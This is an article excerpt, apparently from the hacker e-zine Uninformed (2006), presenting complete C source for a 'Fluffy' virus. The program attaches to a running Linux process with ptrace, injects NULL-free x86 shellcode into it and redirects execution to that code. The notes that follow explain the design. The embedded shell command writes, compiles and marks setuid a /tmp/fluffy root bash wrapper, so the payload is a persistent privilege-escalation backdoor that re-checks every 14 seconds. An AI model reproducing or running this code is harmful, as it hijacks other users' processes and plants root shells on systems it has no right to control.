Uninformed: Informative Information for the Uninformed

Vol 3» 2006.Jan


Meet Fluffy

A code that implements the above theory

    /*
    * x86-fluffy-virus.c, Fluffy virus / izik@tty64.org
    */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <linux/user.h
#include <linux/ptrace.h>

char virus_shcode[] =

// <_start>:

    "\x90"             // nop
    "\x90"             // nop
    "\x60"                 // pusha
    "\x9c"                 // pushf
    "\x31\xc0"             // xor    %eax,%eax
    "\x31\xdb"             // xor    %ebx,%ebx
    "\xb0\x30"             // mov    $0x30,%al
    "\xb3\x0e"             // mov    $0xe,%bl
    "\xeb\x06"         // jmp    <_geteip>

// <_calc_eip>:

    "\x59"                 // pop    %ecx
    "\x83\xc1\x0d"         // add    $0xd,%ecx
    "\xeb\x05"             // jmp    <_continue>

// <_geteip>:

    "\xe8\xf5\xff\xff\xff" // call   <_calc_eip>

// <_continue>:

    "\xcd\x80"             // int    $0x80
    "\x85\xc0"             // test   %eax,%eax
    "\x75\x04"             // jne    <_resumeflow>
    "\xb0\x1b"             // mov    $0x1b,%al
    "\xcd\x80"             // int    $0x80

// <_resumeflow>:

    "\x9d"                 // popf
    "\x61"                 // popa
    "\xc3"                 // ret

// <_virus>:

    "\x55"                 // push   %ebp
    "\x89\xe5"         // mov    %esp,%ebp
    "\x31\xc0"         // xor    %eax,%eax
    "\x31\xc9"             // xor    %ecx,%ecx
    "\xeb\x57"             // jmp    <_data_jmp>

// <_chkforfluffy>:

    "\x5e"                 // pop    %esi

// <_fixnulls>:

    "\x3a\x46\x07"         // cmp    0x7(%esi),%al
    "\x74\x0b"             // je     <_access>
    "\xfe\x46\x07"         // incb   0x7(%esi)
    "\xfe\x46\x0a"         // incb   0xa(%esi)
    "\xb0\xb3"             // mov    $0xb3,%al
    "\xfe\x04\x06"         // incb   (%esi,%eax,1)

// <_access>:

    "\xb0\xa8"             // mov    $0xa8,%al
    "\x8d\x1c\x06"         // lea    (%esi,%eax,1),%ebx
    "\xb0\x21"             // mov    $0x21,%al
    "\xb1\x04"             // mov    $0x4,%cl
    "\xcd\x80"             // int    $0x80
    "\x85\xc0"             // test   %eax,%eax
    "\x74\x31"             // je     <_schedule>

// <_fork>:

    "\x01\xc8"             // add    %ecx,%eax
    "\xcd\x80"             // int    $0x80
    "\x85\xc0"             // test   %eax,%eax
    "\x75\x1f"             // jne    <_waitpid>

// <_exec>:

    "\x31\xd2"             // xor    %edx,%edx
    "\xb0\x17"             // mov    $0x17,%al
    "\x31\xdb"             // xor    %ebx,%ebx
    "\xcd\x80"             // int    $0x80
    "\xb0\x0b"             // mov    $0xb,%al
    "\x89\xf3"             // mov    %esi,%ebx
    "\x52"                 // push   %edx
    "\x8d\x7e\x0b"         // lea    0xb(%esi),%edi
    "\x57"                 // push   %edi
    "\x8d\x7e\x08"         // lea    0x8(%esi),%edi
    "\x57"                 // push   %edi
    "\x56"                 // push   %esi
    "\x89\xe1"             // mov    %esp,%ecx
    "\xcd\x80"             // int    $0x80
    "\x31\xc0"             // xor    %eax,%eax
    "\x40"                 // inc    %eax
    "\xcd\x80"             // int    $0x80

// <_waitpid>:

    "\x89\xc3"         // mov    %eax,%ebx
    "\x31\xc0"             // xor    %eax,%eax
    "\x31\xc9"             // xor    %ecx,%ecx
    "\xb0\x07"             // mov    $0x7,%al
    "\xcd\x80"             // int    $0x80

// <_schedule>:

    "\xc9"                 // leave
    "\xe9\x7c\xff\xff\xff" // jmp    <_start>

// <_data_jmp>:

    "\xe8\xa4\xff\xff\xff" // call   <_chkforfluffy>

//
// /bin/sh\xff-c\xff
// echo "int main() { setreuid(0, 0); system(\"/bin/bash\"); return 1; }" > /tmp/fluffy.c ;
// cc -o /tmp/fluffy /tmp/fluffy.c ;
// rm -rf /tmp/fluffy.c ;
// chmod 4755 /tmp/fluffy\xff
//

// <_data_sct>:

    "\x2f\x62\x69\x6e\x2f\x73\x68\xff\x2d\x63\xff\x65\x63\x68\x6f\x20"
        "\x22\x69\x6e\x74\x20\x6d\x61\x69\x6e\x28\x29\x20\x7b\x20\x73\x65"
        "\x74\x72\x65\x75\x69\x64\x28\x30\x2c\x20\x30\x29\x3b\x20\x73\x79"
        "\x73\x74\x65\x6d\x28\x5c\x22\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68"
        "\x5c\x22\x29\x3b\x20\x72\x65\x74\x75\x72\x6e\x20\x31\x3b\x20\x7d"
        "\x22\x20\x3e\x20\x2f\x74\x6d\x70\x2f\x66\x6c\x75\x66\x66\x79\x2e"
        "\x63\x20\x3b\x20\x63\x63\x20\x2d\x6f\x20\x2f\x74\x6d\x70\x2f\x66"
        "\x6c\x75\x66\x66\x79\x20\x2f\x74\x6d\x70\x2f\x66\x6c\x75\x66\x66"
        "\x79\x2e\x63\x20\x3b\x20\x72\x6d\x20\x2d\x72\x66\x20\x2f\x74\x6d"
        "\x70\x2f\x66\x6c\x75\x66\x66\x79\x2e\x63\x20\x3b\x20\x63\x68\x6d"
        "\x6f\x64\x20\x34\x37\x35\x35\x20\x2f\x74\x6d\x70\x2f\x66\x6c\x75"
        "\x66\x66\x79\xff";

int ptrace_inject(pid_t, long, void *, int);

int main(int argc, char **argv) {

    pid_t pid;
    struct user_regs_struct regs;
    long infproc_addr;

    if (argc < 2) {
        printf("usage: %s <pid>\n", argv[0]);
        return -1;
    }

    pid = atoi(argv[1]);

    // Attach to the process

    if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) {
        perror(argv[1]);
        return -1;
    }

    // Wait for a process to stop

    if (waitpid(pid, NULL, 0) < 0) {
        perror(argv[1]);
        ptrace(PTRACE_DETACH, pid, NULL, NULL);
        return -1;
    }

    // Query process registers

    if (ptrace(PTRACE_GETREGS, pid, &regs, &regs) < 0) {
        perror("Oopsie");
        ptrace(PTRACE_DETACH, pid, NULL, NULL);
        return -1;
    }

    printf("Original ESP: 0x%.8lx\n", regs.esp);
    printf("Original EIP: 0x%.8lx\n", regs.eip);

    // Push original EIP on stack for virus to RET

    regs.esp -= 4;

    ptrace(PTRACE_POKETEXT, pid, regs.esp, regs.eip);

    // Calculate the previous stack page top address

    infproc_addr = (regs.esp & 0xFFFFF000) - 0x1000;

    printf("Injection Base: 0x%.8lx\n", infproc_addr);

    // Inject virus code

        if (ptrace_inject(pid, infproc_addr, virus_shcode, sizeof(virus_shcode) - 1) < 0) {
                return -1;
        }

    // Change EIP to point over virus shcode

    regs.eip = infproc_addr + 2;

    printf("Current EIP: 0x%.8lx\n", regs.eip);

    // Set process registers (EIP changed)

        if (ptrace(PTRACE_SETREGS, pid, &regs, &regs) < 0) {
                perror("Oopsie");
                ptrace(PTRACE_DETACH, pid, NULL, NULL);
                return -1;
        }

    // It's fluffy time!

    if (ptrace(PTRACE_DETACH, pid, NULL, NULL) < 0) {
        perror("Oopsie");
        return -1;
    }

    printf("pid #%d got infected!\n", pid);

    return 1;
}

// Injection Function

int ptrace_inject(pid_t pid, long memaddr, void *buf, int buflen) {
        long data;

    while (buflen > 0) {

                memcpy(&data, buf, 4);

                if ( ptrace(PTRACE_POKETEXT, pid, memaddr, data) < 0 ) {
                        perror("Oopsie!");
                        ptrace(PTRACE_DETACH, pid, NULL, NULL);
                        return -1;
                }

                memaddr += 4;
                buf += 4;
        buflen -= 4;
        }

        return 1;
}

A few pointers about the code:

  1. The virus assembly parts were written as one chunk, the pre-virus code is located in the top and the virus code in the bottom. It is also written in shellcode programming style, which produces a NULL free and somewhat optimized code. As this chunk has been injected into the infected process, it keeps the virus as small as possible, which always is a good idea.
  2. The virus code assumes it will run more than once inside a given infected process. This means that self modifying code actions such as fixing NULLs in runtime, first checks if it is needed in the current virus iteration.
  3. The virus itself is programmed to drop a suid shell called /tmp/fluffy. Before doing so, it will check if the file exists, and if that is not the case, it will execve() a small hardcoded shell script to generate a suid wrapper. Iteration occurs every 14 secs.
  4. The signal() syscall has a habit of restarting the signal handler to default after it has been called. This means the virus has to re-register to the signal every time. An alternative solution is to setup the signal handler using other signal related syscalls such as sigaction() or rt_sigaction() which is how the libc signal() function is implemented. Choosing signal() over these syscalls was based on size related issues.